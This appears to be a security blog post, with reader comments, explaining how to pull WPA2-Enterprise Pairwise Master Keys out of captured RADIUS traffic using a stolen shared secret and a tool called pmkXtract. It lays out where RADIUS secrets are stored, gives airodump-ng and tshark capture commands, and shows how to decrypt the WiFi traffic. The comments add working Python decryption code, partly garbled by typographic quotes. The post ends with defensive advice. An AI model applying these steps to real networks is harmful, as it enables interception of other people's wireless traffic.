Tweaking EAP’s weak link – sucking WiFi PMKs out of RADIUS with pmkXtract

When faced with a WiFi network using WPA2/EAP-TLS, options for a direct attack are limited. You can’t feasibly attack the encryption (most likely CCMP), and if the client devices are configured properly attacking the authentication mechanism directly isn’t likely to bear fruit either.

One of the advantages of the “enterprise” variants of WPA is that the Pairwise Master Keys are specific to a client device and to a single association (WPA Personal has the same PMK shared amongst all devices). To oversimplify somewhat, with WPA Enterprise the PMK for a given device is negotiated between the device and the RADIUS server as part of the EAP process. The PMK is subsequently delivered to the access point via RADIUS. Once both the client device and the AP have the PMK the normal WPA four-way handshake can complete, the output of which is a Pairwise Transient Key which is used to encrypt the session. There’s a nice diagram of the process here.

However, there is a weak link in the chain. Hacking Exposed Wireless, 2nd edition describes a possible attack against the delivery of the PMK from the RADIUS server to the access point. The theory of operation is as follows:

  1. Start capturing the wireless traffic of interest.
  2. Start capturing the RADIUS traffic between the RADIUS server and the access point.
  3. Using an obtained RADIUS shared secret, decrypt the RADIUS traffic that contains the PMKs.
  4. Use the extracted PMKs and the captured four-way handshakes to derive each device’s PTK.
  5. Decrypt every single data frame you’ve captured from the wireless network 🙂

The book didn’t cite any tools capable of extracting the PMKs from the RADIUS conversation, so I thought I’d have a go at writing one myself. The reason the book didn’t cite any tools is probably that if an attacker is in a position to capture your RADIUS traffic, you probably have bigger things to worry about. Nevertheless, it seemed like a challenge worth attempting.

Of the five points above, 1 and 2 are straightforward (assuming the attacker is well placed). 4 and 5 can be easily carried out with Wireshark. Step 3 breaks down into obtaining the shared secret and decrypting the PMKs.

Obtaining the RADIUS shared secret

As noted in Hacking Exposed Wireless, a brute force attack on the shared secret is quite feasible. Alternatively, one can just poke around the RADIUS server and find the list of secrets. For example:

  • FreeRADIUS stores all of this in clients.conf
  • Internet Authentication Service on Windows 2K3 stores everything in system32\ias\ias.mdb which you can open in MS Access (look in the Objects table)
  • Network Policy Server on Windows 2k8 stores everything in system32\ias\ias.xml in plaintext.

Secrets in hand, we can move on to…

Decrypting the PMKs

We first need to start capturing the WiFi traffic of interest. We can do this with airodump-ng:

airmon-ng start wlan0
airodump-ng –channel 1 –bssid 00:1c:df:8b:50:66 –write pmkXtract mon0

Now we can turn our attention to capturing the PMKs. The PMKs are transmitted in the final RADIUS message of the transaction (the Access-Accept message), and they’re stored encrypted in a vendor-specific attribute, MS-MPPE-Recv-Key:

Given the correct shared secret, Wireshark is apparently capable of decrypting RADIUS traffic but I couldn’t make it work for MS-MPPE-Recv-Key. Shying away from actually writing decryption code from scratch, I invoked the age-old software engineering tradition of “code re-use”, aka pinching someone else’s stuff.

hostapd is a user-space access point daemon, and has full support for EAP-TLS. After nosing around and debugging the code, I found the procedure that does the decryption – decrypt_ms_key() in radius.c.

pmkXtract

pmkXtract is a quick and dirty hack that wraps up decrypt_ms_key(); all we need to do is feed it:

  • The RADIUS shared secret
  • The request authenticator from the final Access-Request message
  • The MS-MPPE-Recv-Key from the following Access-Accept message

A neater, future version of pmkXtract would capture the latter two straight off the wire, but for now they are CLI parameters. The most convenient way to get these values is with tshark, supplying the appropriate capture filter:

tshark -T fields -e radius.code -e radius.id -e radius.authenticator -e radius.MS_MPPE_Recv_Key -E separator=! ip host access.point.ip.addr

This will produce output like this:

<snip>
1!10!a0:29:27:a6:60:a8:f4:cb:4c:1d:b3:fa:46:b4:63:e4!
11!10!8b:eb:bf:dd:47:b8:46:35:92:33:6d:bb:ec:23:e8:2f!
1!11!a2:9f:92:ec:93:5b:05:ef:f6:a1:82:0a:6c:dd:37:52!
11!11!85:f7:35:08:39:da:f1:0c:4a:3e:fa:af:00:e7:af:d4!
1!12!5d:5c:3c:99:86:fc:d6:2e:a1:fc:fb:85:7e:6d:69:5d!
2!12!9e:13:52:10:ab:b9:74:99:37:ab:8d:b9:ec:3f:b0:9a!80:8a:7c:
d5:62:6c:0a:d9:ad:5b:0f:e5:5b:1d:56:d5:59:38:7a:06:ab:
b1:65:8a:a6:b4:a6:9f:b2:ea:d9:32:49:d2:3a:f0:ba:d0:b1:
77:fc:e5:b9:77:fe:dc:c2:04:7d:79

What we’re looking for is a pair of code1/code2 messages with the same ID, as is the case with the last two lines above with ID 12. Code 1 denotes Access-Request, code 2 is Access-Accept. Now we can pass the message authenticator from the access-request and the MS-MPPE-Recv-Key from the access-accept to pmkXtract, along with the shared secret:

C:\>pmkXtract secret 5d:5c:<snip>:69:5d 80:8a:<snip>:7d:79
PMK is:c8cad1f342e431bdf97b3fd1c37bf2fe
d74b9c785d302430ea418a04998b9ee4

Score! We’ve got the PMK.

Decrypting the captured WiFi traffic

The first thing we need to do is look through our airodump capture for the WPA four-way handshake:

Frames 134, 136, 138, and 140 are the four-way handshake

As we might expect, the contents of the capture is unintelligible:

Now we can enter the PMK that pmkXtract gave us, by going Edit->Preferences, and selecting IEEE802.11 under Protocols:

And hey presto, we have decrypted the traffic. Note the “Decrypted CCMP data” sub-tab at the bottom of the window:

As I’ve already said, if an attacker can pull this off, they already have a deep foothold in your infrastructure. Use strong RADIUS secrets, secure the list of secrets on the server (clients.conf, ias.mdb, etc) as well as you can, and if it’s possible, protect the RADIUS exchange with IPSec.


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

16 Responses to “Tweaking EAP’s weak link – sucking WiFi PMKs out of RADIUS with pmkXtract”

  1. […] When faced with a WiFi network using WPA2/EAP-TLS, options for a direct attack are limited. You can’t feasibly attack the encryption (most likely CCMP), and if the client devices are configured properly attacking the authentication … View original post here: Tweaking EAP's weak link – sucking WiFi PMKs out of RADIUS with … […]

  2. […] EAP authentication via remote RADIUS server ! Knowing the RADIUS server’s secret can be very useful! radius-server host 10.9.8.7 auth-port 1645 acct-port 1646 key mySecret aaa new-model aaa group […]

  3. Hi,

    This is a great article.

    Could you please let me know how did you change the decrypt_ms_key(); procedure in order to feed it with Radius shared secret and the other ttwo “burgers”?

    My programing skill is very low.

    Thanks a lot for your help,
    Marius

  4. How to get your pmkXtract code?

    • Hi,

      I’ll see if I can dig it out – it wasn’t particularly polished though!

      Alec

      • It would be nice of you!

      • I’m trying to write my own. But I can get nothing but “failed to decrypt mope key”

      • Don’t want to be annoying, but
        Did you succeed?

      • Hi Els,

        You can download it from here:

        http://www.wirewatcher.net/files/pmkxtract.cpp

        It’s a bit rough and ready, but it worked for me. You may need to tweak it a little if you’re not building on a Windows platform, but it should compile OK for you.

        Good luck,
        alec

      • I put together a python implementation. A bit rough, but should do the job!


        from hashlib import md5
        from binascii import unhexlify, hexlify
        seq_xor = lambda c, b: ''.join(
        chr(x) for x in map(lambda X: ord(X[0]) ^ ord(X[1]), zip(c, b))
        )
        #
        # RFC-2548: 2.4.3. MS-MPPE-Recv-Key
        #
        # C: Cyphertext
        # S: Secret
        # R: Request Authenticator
        # A: Salt field
        # P: Plaintext – key-len + key + padding
        #
        def rad_tunnel_pwdecode(C, S, R, A):
        c = [C[i:i+16] for i in range(0, len(C), 16)]
        p = ['\0'] * len(c)
        b = ['\0'] * len(c)
        b[0] = md5(S + R + A).digest()
        p[0] = seq_xor(c[0], b[0])
        for i in range(1, len(p)):
        b[i] = md5(S + c[i-1]).digest()
        p[i] = seq_xor(c[i], b[i])
        P = ''.join(p)
        return P
        Secret = "xxxxxx"
        RequestAuthenticator = "182d8f5a54cbfe158ff6239f52dd2e30"
        Cyphertext ="f1b310d0d0e66dcaba76135acdj90bc9d6k10b009b94a3eceb0dac583a3fed11518fe3818303b9ba31510aae37fa25e6bd7b"
        print "Cypher:%s"%Cyphertext
        Salt = Cyphertext[:4]
        Plaintext = rad_tunnel_pwdecode(
        unhexlify(Cyphertext[4:]),
        Secret,
        unhexlify(RequestAuthenticator),
        unhexlify(Salt)
        )
        Plaintext = hexlify(Plaintext)
        print "Plain: %s"%Plaintext

        view raw

        key_decode.py

        hosted with ❤ by GitHub

      • Thanks Robert 🙂

      • Robert Rusk Says:

        For posterity:

        from hashlib import md5
        from binascii import unhexlify, hexlify

        seq_xor = lambda c, b: ”.join(
        chr(x) for x in map(lambda X: ord(X[0]) ^ ord(X[1]), zip(c, b))
        )

        #
        # RFC-2548: 2.4.3. MS-MPPE-Recv-Key
        #
        # C: Cyphertext
        # S: Secret
        # R: Request Authenticator
        # A: Salt field
        # P: Plaintext – key-len + key + padding
        #
        def rad_tunnel_pwdecode(C, S, R, A):

        c = [C[i:i+16] for i in range(0, len(C), 16)]
        p = [‘\0’] * len(c)
        b = [‘\0′] * len(c)

        b[0] = md5(S + R + A).digest()
        p[0] = seq_xor(c[0], b[0])

        for i in range(1, len(p)):

        b[i] = md5(S + c[i-1]).digest()
        p[i] = seq_xor(c[i], b[i])

        P = ”.join(p)
        return P

        Secret = “my_radius_shared_secret”
        RequestAuthenticator = “\0” * 16
        RequestAuthenticator = “abcdefd7f69b22662fd752c39f97e81e”

        Cyphertext =’abcdef5c56144a4b63f591cbcc7d3d9be8f317f811f5009c57d6706e68238948685836ff4c19127c190218198c6f998830a7’

        print “Cypher:%s” % Cyphertext

        Salt = Cyphertext[:4]

        Plaintext = rad_tunnel_pwdecode(
        unhexlify(Cyphertext[4:]),
        Secret,
        unhexlify(RequestAuthenticator),
        unhexlify(Salt)
        )

        Plaintext = hexlify(Plaintext)

        print “Plain: %s”%Plaintext

  5. Thanks! It worked fine for me

  6. oposum Says:

    Thank you very much. This helped me, too.
    It was kinda tricky, but finally managed to get the PMK out of the traffic between the AP and the RADIUS-Server.
    Hint: Freeradius prints the PMK as plaintext, if you enable logging as:

    Sending Access-Accept of id 183 to 192.168.150.3 port 3072
    MS-MPPE-Recv-Key = 0x980b92b88b6c2000d37643811e3f33a6f1ea2490e56db1d830931b2a114a5552

Leave a reply to Els Cancel reply